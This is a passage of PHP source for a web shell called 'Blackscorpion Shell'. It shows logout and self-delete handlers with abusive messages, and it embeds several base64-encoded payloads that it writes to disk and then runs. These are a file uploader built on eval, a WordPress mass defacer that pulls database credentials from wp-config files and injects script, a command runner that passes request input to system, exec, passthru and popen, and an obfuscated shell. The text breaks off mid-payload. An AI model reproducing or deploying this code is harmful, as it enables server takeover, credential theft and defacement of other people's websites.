- echo '</form></div><script>d.cf.cmd.focus();</script>';
- BlackscorpionFooter();
- }
- function actionLogout() {
- unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
- die('<!DOCTYPE html>
- <html>
- <head>
- <title>Blackscorpion Shell</title>
- <meta charset="UTF-8">
- <meta http-equiv="refresh" content=""> <!-- For Refreshing after ____ interval of time -->
- <meta name="description" content="Sites description">
- <meta name="about" content="Made By Blackscorpion ">
- <meta name="description" content="Bye Bye">
- <style>
- .body {
- margin-top: 7vh;
- text-transform: capitalize;
- background: black url("");
- background-repeat:no-repeat;
- background-position: center;
- background-attachment: fixed;
- -webkit-background-size: cover;
- -moz-background-size: cover;
- -o-background-size: cover;
- background-size: cover;
- }
- .font {
- font-family: calibri;
- font-size: 300%;
- text-align: center;
- color: white;
- }
- .spass {
- margin-top: 70vh;
- font-family: calibri;
- font-size: 100%;
- text-align: center;
- color: black;
- }
- </style>
- <script language="JavaScript1.2">
- function ejs_nodroit(){
- alert("Login Please!");
- return(false);
- }
- document.oncontextmenu = ejs_nodroit;
- </script>
- </head>
- <body class="body">
- <div class="font">
- <?php unset($_SESSION[md5($_SERVER["HTTP_HOST"])]); ?>
- <font>You Are Going :(<br>Bye :(</font>
- </div>
- </body>
- </html>');
- }
- function actionSelfRemove() {
- if($_POST['p1'] == 'yes')
- if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
- die('<!DOCTYPE html>
- <html>
- <head>
- <title>Blackscorpion Shell</title>
- <meta charset="UTF-8">
- <meta http-equiv="refresh" content=""> <!-- For Refreshing after ____ interval of time -->
- <meta name="description" content="Sites description">
- <meta name="about" content="Made By Blackscorpion ">
- <meta name="description" content="Bye Bye">
- <style>
- .body {
- margin-top: 7vh;
- text-transform: capitalize;
- background: black url("");
- background-repeat:no-repeat;
- background-position: center;
- background-attachment: fixed;
- -webkit-background-size: cover;
- -moz-background-size: cover;
- -o-background-size: cover;
- background-size: cover;
- }
- .font {
- font-family: calibri;
- font-size: 300%;
- text-align: center;
- color: white;
- }
- .spass {
- margin-top: 70vh;
- font-family: calibri;
- font-size: 100%;
- text-align: center;
- color: black;
- }
- </style>
- <script language="JavaScript1.2">
- function ejs_nodroit(){
- alert("Shell Site Again Bitch!");
- return(false);
- }
- document.oncontextmenu = ejs_nodroit;
- </script>
- </head>
- <body class="body">
- <div class="font">
- <font>You Deleted Me -_- <br>Now Fuck off -_- Dont Use me again. <br><img src="http://photos1.blogger.com/blogger/7386/358/400/realkid.jpg" width="300" height="200" /></font>
- </div>
- </body>
- </html>');
- else
- echo 'unlink error!';
- if($_POST['p1'] != 'yes')
- BlackscorpionHeader();
- echo '<center><h1>Suicide</h1><div class=content>Do You Want To Remove This Shell :o ?<br><a href=# onclick="g(null,null,\'yes\')">Fuck me</a></div>';
- BlackscorpionFooter();
- }
- if(isset($_POST['uploader'])){
- $uploader = 'PD9waHAKJFVwbG9hZGVyID0gIlpXTm9ieUFuUEdoMGJXdytQR2hsWVdRK1BIUnBkR3hsUGtacGJHVWdWWEJzYjJGa1pYSWdZbmtnUW14aFkydHpZMjl5Y0dsdmJqd3ZkR2wwYkdVK0NqeHNhVzVySUhKbGJEMGlhV052YmlJZ2RIbHdaVDBpYVcxaFoyVXZjRzVuSWlCb2NtVm1QU0pvZEhSd2N6b3ZMM05qYjI1MFpXNTBMbVpwYzJJMUxURXVabTVoTG1aaVkyUnVMbTVsZEM5MkwzUXhMakF0T1M4eU5qRTJOelE1T1Y4eU9ESTVNakkyTWpVMU5qUTBNREZmTlRjeU5qWXdOamsxTVRrMU1qWTRNREV6T0Y5dUxuQnVaejl2YUQwNE5tRTBZV1l5WW1FMU16QmtNamN4T0dObU1USXlNbUl6Tm1JNE56ZzNOeVp2WlQwMVFqUXhRVFZHUmlJK1BDOW9aV0ZrUGp4aWIyUjVQZ284YzNSNWJHVStDbUp2WkhsN0NtWnZiblF0Wm1GdGFXeDVPaUFpVW1GamFXNW5JRk5oYm5NZ1QyNWxJaXdnWTNWeWMybDJaVHNLWW1GamEyZHliM1Z1WkMxamIyeHZjam9nSTJVMlpUWmxOanNLZEdWNGRDMXphR0ZrYjNjNk1IQjRJREJ3ZUNBeGNIZ2dJemMxTnpVM05Uc0tmUW9qWTI5dWRHVnVkQ0IwY2pwb2IzWmxjbnNLWW1GamEyZHliM1Z1WkMxamIyeHZjam9nSXpZek5qSTJNenNLZEdWNGRDMXphR0ZrYjNjNk1IQjRJREJ3ZUNBeE1IQjRJQ05tWm1ZN0NuMEtJMk52Ym5SbGJuUWdMbVpwY25OMGV3cGlZV05yWjNKdmRXNWtMV052Ykc5eU9pQnphV3gyWlhJN0NuMEtJMk52Ym5SbGJuUWdMbVpwY25OME9taHZkbVZ5ZXdwaVlXTnJaM0p2ZFc1a0xXTnZiRzl5T2lCemFXeDJaWEk3Q25SbGVIUXRjMmhoWkc5M09qQndlQ0F3Y0hnZ01YQjRJQ00zTlRjMU56VTdDbjBLZEdGaWJHVjdDbUp2Y21SbGNqb2dNWEI0SUNNd01EQXdNREFnWkc5MGRHVmtPd3A5Q2tneGV3cG1iMjUwTFdaaGJXbHNlVG9nSWxKNVpTSXNJR04xY25OcGRtVTdDbjBLWVhzS1kyOXNiM0k2WW14MVpUc0tkR1Y0ZEMxa1pXTnZjbUYwYVc5dU9pQnViMjVsT3dwOUNtRTZhRzkyWlhKN0NtTnZiRzl5T2lBalkyUXdNR1ptT3dwMFpYaDBMWE5vWVdSdmR6b3djSGdnTUhCNElERXdjSGdnSTJabVptWm1aanNLZlFwcGJuQjFkQ3h6Wld4bFkzUXNkR1Y0ZEdGeVpXRjdDbUp2Y21SbGNqb2dNWEI0SUNNd01EQXdNREFnYzI5c2FXUTdDaTF0YjNvdFltOXlaR1Z5TFhKaFpHbDFjem9nTlhCNE93b3RkMlZpYTJsMExXSnZjbVJsY2kxeVlXUnBkWE02TlhCNE93cGliM0prWlhJdGNtRmthWFZ6T2pWd2VEc0tmUW84TDNOMGVXeGxQZ284TDBoRlFVUStDanhDVDBSWlBnbzhTREUrUEdObGJuUmxjajQ4Wm05dWRDQmpiMnh2Y2owaWNtVmtJajUrZm40OEwyWnZiblErUTI5a1pXUWdZbmtnUEdadmJuUWdZMjlzYjNJOUluSmxaQ0krUWp3dlptOXVkRDVzWVVOTFBHWnZiblFnWTI5c2IzSTlJbkpsWkNJK1UyTnZjand2Wm05dWRENUpiMjQ4Wm05dWRDQmpiMnh2Y2owaWNtVmtJajUrZm40OEwyWnZiblErQ2p4aWNqNDhabTl1ZENCamIyeHZjajBpWW14MVpTSStmbjUrVUdGcklEeG1iMjUwSUdOdmJHOXlQU0p5WldRaVBsUmxZVzA4TDJadmJuUStYMUJ5YjBKeWIzTitmbjQ4TDJadmJuUStDaUE4TDJObGJuUmxjajQ4TDBneFBnbzhZMlZ1ZEdWeVBnbzhabTl5YlNCdFpYUm9iMlE5VUU5VFZDQmxibU4wZVhCbFBTSnRkV3gwYVhCaGNuUXZabTl5YlMxa1lYUmhJaUJoWTNScGIyNDlJaUkrQ2lBZ0lDQThhVzV3ZFhRZ2RIbHdaVDEwWlhoMElHNWhiV1U5Y0dGMGFENEtDVHhwYm5CMWRDQjBlWEJsUFNKbWFXeGxJaUJ1WVcxbFBTSm1hV3hsY3lJK0NnazhhVzV3ZFhRZ2RIbHdaVDF6ZFdKdGFYUWdkbUZzZFdVOUlsVndiRzloWkNJK0Nqd3ZabTl5YlQ0OEwySnZaSGsrUEM5alpXNTBaWEkrUEM5b2RHMXNQaWM3Q2lSbWFXeGxjeUE5SUVBa1gwWkpURVZUV3lKbWFXeGxjeUpkT3dwcFppQW9KR1pwYkdWeld5SnVZVzFsSWwwZ0lUMGdKeWNwSUhzS0lDQWdJQ1JtZFd4c2NHRjBhQ0E5SUNSZlVrVlJWVVZUVkZzaWNHRjBhQ0pkSUM0Z0pHWnBiR1Z6V3lKdVlXMWxJbDA3Q2lBZ0lDQnBaaUFvYlc5MlpWOTFjR3h2WVdSbFpGOW1hV3hsS0NSbWFXeGxjMXNuZEcxd1gyNWhiV1VuWFN3Z0pHWjFiR3h3WVhSb0tTa2dld29nSUNBZ0lDQWdJR1ZqYUc4Z0lqeGpaVzUwWlhJK1BHZ3lQanhoSUdoeVpXWTlKeVJtZFd4c2NHRjBhQ2NnZEdGeVoyVjBQU2RmWW14aGJtc25Qa05zYVdOcklIUnZJR0ZqWTJWemN5QjFjR3h2WVdSbFpDQkdhV3hsUEM5aFBqd3ZhREkrUEM5alpXNTBaWEkrSWpzS0lDQWdJSDBLZlE9PSI7IGV2YWwoYmFzZTY0X2RlY29kZSgkVXBsb2FkZXIpKTsKPz4JCQkKCgoK';
- $file = fopen("up.php","w");
- $write = fwrite ($file ,base64_decode($uploader));
- fclose($file);
- header("location:up.php"); }
- if(isset($_POST['mass'])){
- $mass = 'PHRpdGxlPldvcmRwcmVzcyBNYXNzIERlZmFjZXIgQnkgQmxhY2sgU2NvcnBpb248L3RpdGxlPgo8c3R5bGU+CmJvZHkKewoJYmFja2dyb3VuZDogIzA4MDUxMDsKCWNvbG9yOiAjRkY5OTMzOwoJcGFkZGluZzogMHB4Owp9CmE6bGluaywgYm9keV9hbGluawp7Cgljb2xvcjogI0ZGOTkzMzsKCXRleHQtZGVjb3JhdGlvbjogbm9uZTsKfQphOnZpc2l0ZWQsIGJvZHlfYXZpc2l0ZWQKewoJY29sb3I6ICNGRjk5MzM7Cgl0ZXh0LWRlY29yYXRpb246IG5vbmU7Cn0KYTpob3ZlciwgYTphY3RpdmUsIGJvZHlfYWhvdmVyCnsKCWNvbG9yOiAjRkZGRkZGOwoJdGV4dC1kZWNvcmF0aW9uOiBub25lOwp9CnRkLCB0aCwgcCwgbGksdGFibGUKewoJCgliYWNrZ3JvdW5kOiAjMmUyYjI4OwoJYm9yZGVyOjFweCBzb2xpZCAjNTI0ZjQ2Owp9CmlucHV0CnsKCWJvcmRlcjogMXB4IHNvbGlkOwoJY3Vyc29yOiBkZWZhdWx0OwoJCglvdmVyZmxvdzogaGlkZGVuOwoJYmFja2dyb3VuZDogIzJlMmIyODsKCWNvbG9yOiAjZmZmZmZmOwp9dGV4dGFyZWEKewoJYm9yZGVyOiAxcHggc29saWQ7CgljdXJzb3I6IGRlZmF1bHQ7CgliYWNrZ3JvdW5kOiAjMmUyYjI4OwoJY29sb3I6ICNmZmZmZmY7Cn0KYnV0dG9uCnsKCWJvcmRlcjogMXB4IHNvbGlkOwoJY3Vyc29yOiBkZWZhdWx0OwoJCglvdmVyZmxvdzogaGlkZGVuOwoJYmFja2dyb3VuZDogIzJlMmIyODsKCWNvbG9yOiAjZmZmZmZmOwp9Cjwvc3R5bGU+CjwvaGVhZD4KCjxib2R5IGJnY29sb3I9ImJsYWNrIj4KIDxjZW50ZXI+CjxwcmU+Cl9fICAgICAgICAgIF9fICAgICAgX18gIF9fICAgICAgICAgICAgICAgICBfX19fXyAgICAgICAgX18gICAgICAgICAgICAgICAKXCBcICAgICAgICAvIC8gICAgIHwgIFwvICB8ICAgICAgICAgICAgICAgfCAgX18gXCAgICAgIC8gX3wgICAgICAgICAgICAgIAogXCBcICAvXCAgLyAvIF9fICAgfCBcICAvIHwgX18gXyBfX18gX19fICB8IHwgIHwgfCBfX198IHxfIF9fIF8gIF9fXyBfX18gCiAgXCBcLyAgXC8gLyAnXyBcICB8IHxcL3wgfC8gX2AgLyBfXy8gX198IHwgfCAgfCB8LyBfIFwgIF8vIF9gIHwvIF9fLyBfIFwKICAgXCAgL1wgIC98IHxfKSB8IHwgfCAgfCB8IChffCBcX18gXF9fIFwgfCB8X198IHwgIF9fLyB8fCAoX3wgfCAoX3wgIF9fLwogICAgXC8gIFwvIHwgLl9fLyAgfF98ICB8X3xcX18sX3xfX18vX19fLyB8X19fX18vIFxfX198X3wgXF9fLF98XF9fX1xfX198CiAgICAgICAgICAgfCB8ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICB8X3wgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAo8L3ByZT4KPC9jZW50ZXI+Cjxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIiID4KPGNlbnRlcj4KPHRhYmxlIGJvcmRlcj0nMSc+PHRyPjx0ZD5MaXN0IG9mIEFsbCBTeW1saW5rczwvdGQ+PHRkPgo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0idXJsIiBzaXplPSIxMDAiIHZhbHVlPSJibGFja2llLnR4dCI+PC90ZD48L3RyPgo8dHI+PHRkPkluZGV4PC90ZD48dGQ+Cjx0ZXh0YXJlYSBuYW1lPSJpbmRleCIgY29scz0nOTAnIHJvd3M9JzExJyA+SGFja2VkIEJ5IEJsYWNrIFNjb3JwaW9uIHwgUHJvQnJvJ3MKPC90ZXh0YXJlYT48L3RkPjwvdHI+PC90YWJsZT4KPGJyPjxicj48aW5wdXQgdHlwZT0iU3VibWl0IiBuYW1lPSJTdWJtaXQiIHZhbHVlPSJTdWJtaXQiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSIxIj48L2Zvcm0+CjwvY2VudGVyPgo8P3BocApzZXRfdGltZV9saW1pdCgwKTsKaWYgKCRfUE9TVFsnYWN0aW9uJ10gPT0gJzEnKXsKJHVybD1odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsndXJsJ10pOwokdXNlcnM9QGZpbGUoJHVybCk7CmlmIChjb3VudCgkdXNlcnMpPDEpIGV4aXQoIjxoMT5ObyBjb25maWcgZm91bmQ8L2gxPiIpOwpmb3JlYWNoICgkdXNlcnMgYXMgJHVzZXIpIHsKJHVzZXIxPXRyaW0oJHVzZXIpOwokY29kZT1maWxlX2dldF9jb250ZW50czIoJHVzZXIxKTsKcHJlZ19tYXRjaF9hbGwoJ3xkZWZpbmUuKlwoLipcJ0RCX05BTUVcJy4qLC4qXCcoLiopXCcuKlwpLio7fGlzVScsJGNvZGUsJGIxKTsKJGRiPSRiMVsxXVswXTsKcHJlZ19tYXRjaF9hbGwoJ3xkZWZpbmUuKlwoLipcJ0RCX1VTRVJcJy4qLC4qXCcoLiopXCcuKlwpLio7fGlzVScsJGNvZGUsJGIyKTsKJHVzZXI9JGIyWzFdWzBdOwpwcmVnX21hdGNoX2FsbCgnfGRlZmluZS4qXCguKlwnREJfUEFTU1dPUkRcJy4qLC4qXCcoLiopXCcuKlwpLio7fGlzVScsJGNvZGUsJGIzKTsKJGRiX3Bhc3N3b3JkPSRiM1sxXVswXTsKcHJlZ19tYXRjaF9hbGwoJ3xkZWZpbmUuKlwoLipcJ0RCX0hPU1RcJy4qLC4qXCcoLiopXCcuKlwpLio7fGlzVScsJGNvZGUsJGI0KTsKJGhvc3Q9JGI0WzFdWzBdOwpwcmVnX21hdGNoX2FsbCgnfFwkdGFibGVfcHJlZml4Lio9LipcJyguKilcJy4qO3xpc1UnLCRjb2RlLCRiNSk7CiRwPSRiNVsxXVswXTsKJGQ9QG15c3FsX2Nvbm5lY3QoICRob3N0LCAkdXNlciwgJGRiX3Bhc3N3b3JkICkgOwppZiAoJGQpewpAbXlzcWxfc2VsZWN0X2RiKCRkYiApOwokc291cmNlPXN0cmlwc2xhc2hlcygkX1BPU1RbJ2luZGV4J10pOwokczI9c3RyVG9IZXgoKCRzb3VyY2UpKTsKJHM9IjxzY3JpcHQ+ZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LmlubmVySFRNTCA9IHVuZXNjYXBlKCcnJHMyJycpOzwvc2NyaXB0PiI7CiRscz1zdHJsZW4oJHMpLTI7CiRzcWw9InVwZGF0ZSAiLiRwLiJvcHRpb25zIHNldCBvcHRpb25fdmFsdWU9J2E6Mjp7aToyO2E6Mzp7czo1OlwidGl0bGVcIjtzOjA6XCJcIjtzOjQ6XCJ0ZXh0XCI7czokbHM6XCIkc1wiO3M6NjpcImZpbHRlclwiO2I6MDt9czoxMjpcIl9tdWx0aXdpZGdldFwiO2k6MTt9JyB3aGVyZSBvcHRpb25fbmFtZT0nd2lkZ2V0X3RleHQnOyAiOwpteXNxbF9xdWVyeSgkc3FsKSA7CiRzcWw9InVwZGF0ZSAiLiRwLiJvcHRpb25zIHNldCBvcHRpb25fdmFsdWU9J2E6Nzp7czoxOTpcIndwX2luYWN0aXZlX3dpZGdldHNcIjthOjY6e2k6MDtzOjEwOlwiYXJjaGl2ZXMtMlwiO2k6MTtzOjY6XCJtZXRhLTJcIjtpOjI7czo4Olwic2VhcmNoLTJcIjtpOjM7czoxMjpcImNhdGVnb3JpZXMtMlwiO2k6NDtzOjE0OlwicmVjZW50LXBvc3RzLTJcIjtpOjU7czoxNzpcInJlY2VudC1jb21tZW50cy0yXCI7fXM6OTpcInNpZGViYXItMVwiO2E6MTp7aTowO3M6NjpcInRleHQtMlwiO31zOjk6XCJzaWRlYmFyLTJcIjthOjA6e31zOjk6XCJzaWRlYmFyLTNcIjthOjA6e31zOjk6XCJzaWRlYmFyLTRcIjthOjA6e31zOjk6XCJzaWRlYmFyLTVcIjthOjA6e31zOjEzOlwiYXJyYXlfdmVyc2lvblwiO2k6Mzt9JyB3aGVyZSBvcHRpb25fbmFtZT0nc2lkZWJhcnNfd2lkZ2V0cyc7IjsKbXlzcWxfcXVlcnkoJHNxbCkgOwppZiAoZnVuY3Rpb25fZXhpc3RzKCJtYl9jb252ZXJ0X2VuY29kaW5nIikgKQp7CiRzb3VyY2UyID0gbWJfY29udmVydF9lbmNvZGluZygnJy4kc291cmNlLicnLCAnVVRGLTgnKTsKJHNvdXJjZTI9bXlzcWxfcmVhbF9lc2NhcGVfc3RyaW5nKCRzb3VyY2UyKTsKJHNxbCA9ICJVUERBVEUgYCIuJHAuIm9wdGlvbnNgIFNFVCBgb3B0aW9uX3ZhbHVlYCA9ICckc291cmNlMicgV0hFUkUgYG9wdGlvbl9uYW1lYCA9ICdibG9nbmFtZSc7IjsKQG15c3FsX3F1ZXJ5KCRzcWwpIDsgOwokc3FsPSAiVVBEQVRFIGAiLiRwLiJvcHRpb25zYCBTRVQgYG9wdGlvbl92YWx1ZWAgPSAnVVRGLTgnIFdIRVJFIGBvcHRpb25fbmFtZWAgPSAnYmxvZ19jaGFyc2V0JzsiOwpAbXlzcWxfcXVlcnkoJHNxbCkgOyA7Cn0KJGFhPUBteXNxbF9xdWVyeSgic2VsZWN0IG9wdGlvbl92YWx1ZSBmcm9tIGAiLiRwLiJvcHRpb25zYCBXSEVSRSBgb3B0aW9uX25hbWVgID0gJ3NpdGV1cmwnOyIpIDs7CiRzaXRldXJsPUBteXNxbF9mZXRjaF9hcnJheSgkYWEpIDsKJHNpdGV1cmw9JHNpdGV1cmxbJ29wdGlvbl92YWx1ZSddOwokdHIuPSIkc2l0ZXVybC9pbmRleC5waHBcbiI7Cm15c3FsX2Nsb3NlKCk7Cn0KfQppZiAoJHRyKSBlY2hvICI8Y2VudGVyPkluZGV4IGNoYW5nZWQgZm9yIDxicj48YnI+PHRleHRhcmVhIGNvbHM9JzkwJyByb3dzPScxMScgPiR0cjwvdGV4dGFyZWE+PC9jZW50ZXI+IjsKfQpmdW5jdGlvbiBzdHJUb0hleCgkc3RyaW5nKQp7CiAgICAkaGV4PScnOwogICAgZm9yICgkaT0wOyAkaSA8IHN0cmxlbigkc3RyaW5nKTsgJGkrKykKICAgIHsKCWlmIChzdHJsZW4oZGVjaGV4KG9yZCgkc3RyaW5nWyRpXSkpKT09MSl7CiAgICAgICAgJGhleCAuPSIlMCIuIGRlY2hleChvcmQoJHN0cmluZ1skaV0pKTsKCQl9CgkJZWxzZQoJCXsKCQkkaGV4IC49IiUiLiBkZWNoZXgob3JkKCRzdHJpbmdbJGldKSk7CgkJfQogICAgfQogICAgcmV0dXJuICRoZXg7Cn0KCmZ1bmN0aW9uIGZpbGVfZ2V0X2NvbnRlbnRzMigkdSl7CgoJJGNoID0gY3VybF9pbml0KCk7CiAgICBjdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9VUkwsJHUpOwogCWN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIDApOyAgICAKICAgY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsdHJ1ZSk7CiAgICBjdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9VU0VSQUdFTlQsIk1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQ7IHJ2OjEyLjApIEdlY2tvLzIwMTAwMTAxIEZpcmVmb3gvMTIuMCAiKTsKCSAgICAkcmVzdWx0ID0gY3VybF9leGVjKCRjaCk7CglyZXR1cm4gJHJlc3VsdCA7Cgl9Cj8+';
- $file = fopen("mass.php","w");
- $write = fwrite ($file ,base64_decode($mass));
- fclose($file);
- header("location:mass.php"); }
- if(isset($_POST['BlackscorpionCmd'])){
- $BlackscorpionCmd = 'PGh0bWw+PGhlYWQ+PHRpdGxlPlRlYW0gUHJvQnJvcyBQcml2OCBTSGVsbDwvdGl0bGU+PGxpbmsgcmVsPSJzaG9ydGN1dCBpY29uIiBocmVmPSJodHRwczovL3Njb250ZW50LmZpc2I1LTEuZm5hLmZiY2RuLm5ldC92L3QxLjAtOS8yNjE2NzQ5OV8yODI5MjI2MjU1NjQ0MDFfNTcyNjYwNjk1MTk1MjY4MDEzOF9uLnBuZz9vaD04NmE0YWYyYmE1MzBkMjcxOGNmMTIyMmIzNmI4Nzg3NyZvZT01QjQxQTVGRiIgdHlwZT0iaW1hZ2UveC1pY29uIiAvPjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+CmgzIHsKdGV4dC1kZWNvcmF0aW9uOiBub25lOwogIGZvbnQtZmFtaWx5OiBUYWhvbWEsIEFyaWFsLCBzYW5zLXNlcmlmOwogIGZvbnQtc2l6ZTogMTBweDsKICBjb2xvcjogIzAwNzZCMTsKICAKfQouYXJlYSB7CiAgY29sb3I6ICMwMDc2QjE7CiAgZm9udC1zaXplOiA5cHQ7CiAgdGV4dC1zaGFkb3c6ICMwMDc2QjEgMHB4IDJweCA3cHg7CiAgYm9yZGVyOiBzb2xpZCAxcHggIzAwNzZCMTsKICBiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDsKICBib3gtc2hhZG93OiAwcHggMHB4IDRweCAjMDA5OTAwOwogIHBhZGRpbmc6IDNweDsKICAtd2Via2l0LWJvcmRlci1yYWRpdXM6IDRweDsKICAtbW96LWJvcmRlci1yYWRpdXM6IDRweDsKICBib3JkZXItcmFkaXVzOiA0cHg7CiAgLXdlYmtpdC1ib3gtc2hhZG93OiByZ2IoMCwxMTksMCkgMHB4IDBweCA7Cn0KIGlucHV0W3R5cGU9c3VibWl0XXsgcGFkZGluZzogM3B4OyBjb2xvcjogIzAwNzcwOwogIGZvbnQtd2VpZ2h0OiBib2xkOyAKdGV4dC1hbGlnbjogY2VudGVyOyAKIHRleHQtc2hhZG93OiAwIDFweCByZ2JhKDI1NSwgMjU1LCAyNTUsIDAuMyk7CiAgYmFja2dyb3VuZDogI2FlYWVhZTsgCiBiYWNrZ3JvdW5kLWNsaXA6IHBhZGRpbmctYm94OyAKIGJvcmRlcjogMXB4IHNvbGlkICMyODQ0NzM7IAogYm9yZGVyLWJvdHRvbS1jb2xvcjogIzIyM2I2NjsgCiBib3JkZXItcmFkaXVzOiA0cHg7ICAKY3Vyc29yOiBwb2ludGVyOyAgCmJhY2tncm91bmQtaW1hZ2U6LXdlYmtpdC1saW5lYXItZ3JhZGllbnQodG9wLCAjZWFlYWVhLCAjZDBkMGQwKTsKIGJhY2tncm91bmQtaW1hZ2U6IC1tb3otbGluZWFyLWdyYWRpZW50KHRvcCwgI2VhZWFlYSwgI2QwZDBkMCk7CiAgYmFja2dyb3VuZC1pbWFnZTogLW8tbGluZWFyLWdyYWRpZW50KHRvcCwgI2VhZWFlYSwgI2QwZDBkMCk7IAogYmFja2dyb3VuZC1pbWFnZTogbGluZWFyLWdyYWRpZW50KHRvIGJvdHRvbSwgI2VhZWFlYSwgI2QwZDBkMCk7IAogLXdlYmtpdC1ib3gtc2hhZG93OiBpbnNldCAwIDFweCByZ2JhKDI1NSwgMjU1LCAyNTUsIDAuNSksIGluc2V0IDAgMCA3cHggcmdiYSgyNTUsIDI1NSwgMjU1LCAwLjQpLCAwIDFweCAxcHggcmdiYSgwLCAwLCAwLCAwLjE1KTsgIGJveC1zaGFkb3c6IGluc2V0IDAgMXB4IHJnYmEoMjU1LCAyNTUsIDI1NSwgMC41KSwgaW5zZXQgMCAwIDdweCByZ2JhKDI1NSwgMjU1LCAyNTUsIDAuNCksIDAgMXB4IDFweCByZ2JhKDAsIDAsIDAsIDAuMTUpOyB9IAoKaW5wdXRbdHlwZT10ZXh0XXsgcGFkZGluZzogM3B4OyBjb2xvcjogIzAwNzZCMTsgdGV4dC1zaGFkb3c6ICMwMDc2QjEgMHB4IDBweCAzcHg7IGJvcmRlcjogMXB4IHNvbGlkICMwMDc2QjE7IGJhY2tncm91bmQ6IHRyYW5zcGFyZW50OyBib3gtc2hhZG93OiAwcHggMHB4IDRweCAjMDA3NkIxOyAgICBwYWRkaW5nOiAzcHg7ICAgLXdlYmtpdC1ib3JkZXItcmFkaXVzOiA0cHg7ICAgLW1vei1ib3JkZXItcmFkaXVzOiA0cHg7ICAgYm9yZGVyLXJhZGl1czogNHB4OyAgIC13ZWJraXQtYm94LXNoYWRvdzogcmdiKDg1LDg1LDg1KSAwcHggMHB4IDRweDsgICAtbW96LWJveC1zaGFkb3c6ICMwMDc2QjEgMHB4IDBweCA0cHg7fSAKCgoKCjwvc3R5bGU+Cjw/cGhwCmVjaG8gJwo8Y2VudGVyPgo8Zm9ybSBtZXRob2Q9R0VUPgo8cD48dGV4dGFyZWEgY2xhc3M9ImFyZWEiIHJvd3M9IjEzIiBuYW1lPSJ0ZXh0IiB2YWx1ZT0icHl0IiBjb2xzPSI3MCIgPic7CgoKaWYgKHN0cmxlbigkX0dFVFsnY29tbWFuZCddKT4xICYmICRfR0VUWydleGVjbWV0aG9kJ10hPSJwb3BlbiIpewplY2hvICRfR0VUWydleGVjbWV0aG9kJ10oJF9HRVRbJ2NvbW1hbmQnXSk7fQppZiAoc3RybGVuKCRfUE9TVFsnY29tbWFuZCddKT4xICYmICRfUE9TVFsnZXhlY21ldGhvZCddIT0icG9wZW4iKXsKZWNobyAkX1BPU1RbJ2V4ZWNtZXRob2QnXSgkX1BPU1RbJ2NvbW1hbmQnXSk7fQoKaWYgKHN0cmxlbigkX0dFVFsnY29tbWFuZCddKT4xICYmICRfR0VUWydleGVjbWV0aG9kJ109PSJwb3BlbiIpewpwb3BlbigkX0dFVFsnY29tbWFuZCddLCJyIik7fQoKZWNobyc8L3RleHRhcmVhPjwvcD4KPHA+PGNlbnRlcj48L2NlbnRlcj48L3A+CjxwIGFsaWduPSJjZW50ZXIiPjxzdHJvbmc+PC9zdHJvbmc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9InZ3IiBzaXplPSI1MCIgdmFsdWU9ImNtZCI+IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjb21tYW5kIiBzaXplPSI0MyI+IDxzZWxlY3QgbmFtZT1leGVjbWV0aG9kPgo8b3B0aW9uIHZhbHVlPSJzeXN0ZW0iPlN5c3RlbTwvb3B0aW9uPiAgPG9wdGlvbiB2YWx1ZT0iZXhlYyI+RXhlYzwvb3B0aW9uPiAgPG9wdGlvbiB2YWx1ZT0icGFzc3RocnUiPlBhc3N0aHJ1PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0icG9wZW4iPnBvcGVuPC9vcHRpb24+Cjwvc2VsZWN0PiA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJra2siIHZhbHVlPSJFeGVjdXRlIj4KPC9wPjwvZm9ybT4nOwoKPz4=';
- $file = fopen("BlackscorpionCmd.php","w");
- $write = fwrite ($file ,base64_decode($BlackscorpionCmd));
- fclose($file);
- header("location:BlackscorpionCmd.php"); }
- if(isset($_POST['madleets'])){
- $madleets = 'PD9waHAgCiRuYW1lID0gInVtYXIiOwokcGFzc3dvcmQgPSAidW1hciI7IAogJHsiXHg0N1x4NGNPXHg0Mlx4NDFceDRjUyJ9WyJceDczalx4NmZidlx4NzNuXHg2NVx4NmYiXT0iXHg3NFx4NjVceDczXHg3NF9jb21tXHg2MVx4NmVceDY0IjskeyJceDQ3XHg0Y09CXHg0MVx4NGNTIn1bImJkXHg2ZFx4N2F0d1x4NzllXHg3NSJdPSJwXHg2OFx4NzBceDY5XHg2ZWZvIjskeyJceDQ3XHg0Y09ceDQyQVx4NGNceDUzIn1bIlx4NjVceDcxXHg3NGJceDZlXHg3OVx4NmQiXT0iXHg3Mlx4NjVzdVx4NmNceDc0IjskeyJceDQ3XHg0Y09CQVx4NGNceDUzIn1bIlx4NjlceDc2XHg2MnBvXHg2NXBceDY3XHg3NVx4NjNceDdhIl09ImNoXHg2NGlyIjskeyJHXHg0Y09CQVx4NGNTIn1bInBceDc2XHg2Mlx4NmRceDczXHg2Zlx4NzRzIl09Ilx4NjNceDZmXHg2ZFx4NmRhXHg2ZVx4NjQiOyR7IkdceDRjXHg0ZkJBXHg0Y1x4NTMifVsiXHg2N1x4NzZjZm5uXHg3YVx4NjdkIl09InBceDYxXHg3Mlx4NzRceDczIjskeyJceDQ3XHg0Y1x4NGZceDQyQVx4NGNceDUzIn1bIlx4NjRmcVx4NmN4XHg3MVx4NjlceDZlXHg2NVx4NzlceDY0Il09ImNceDcyYXdceDZjXHg2NVx4NzJceDczI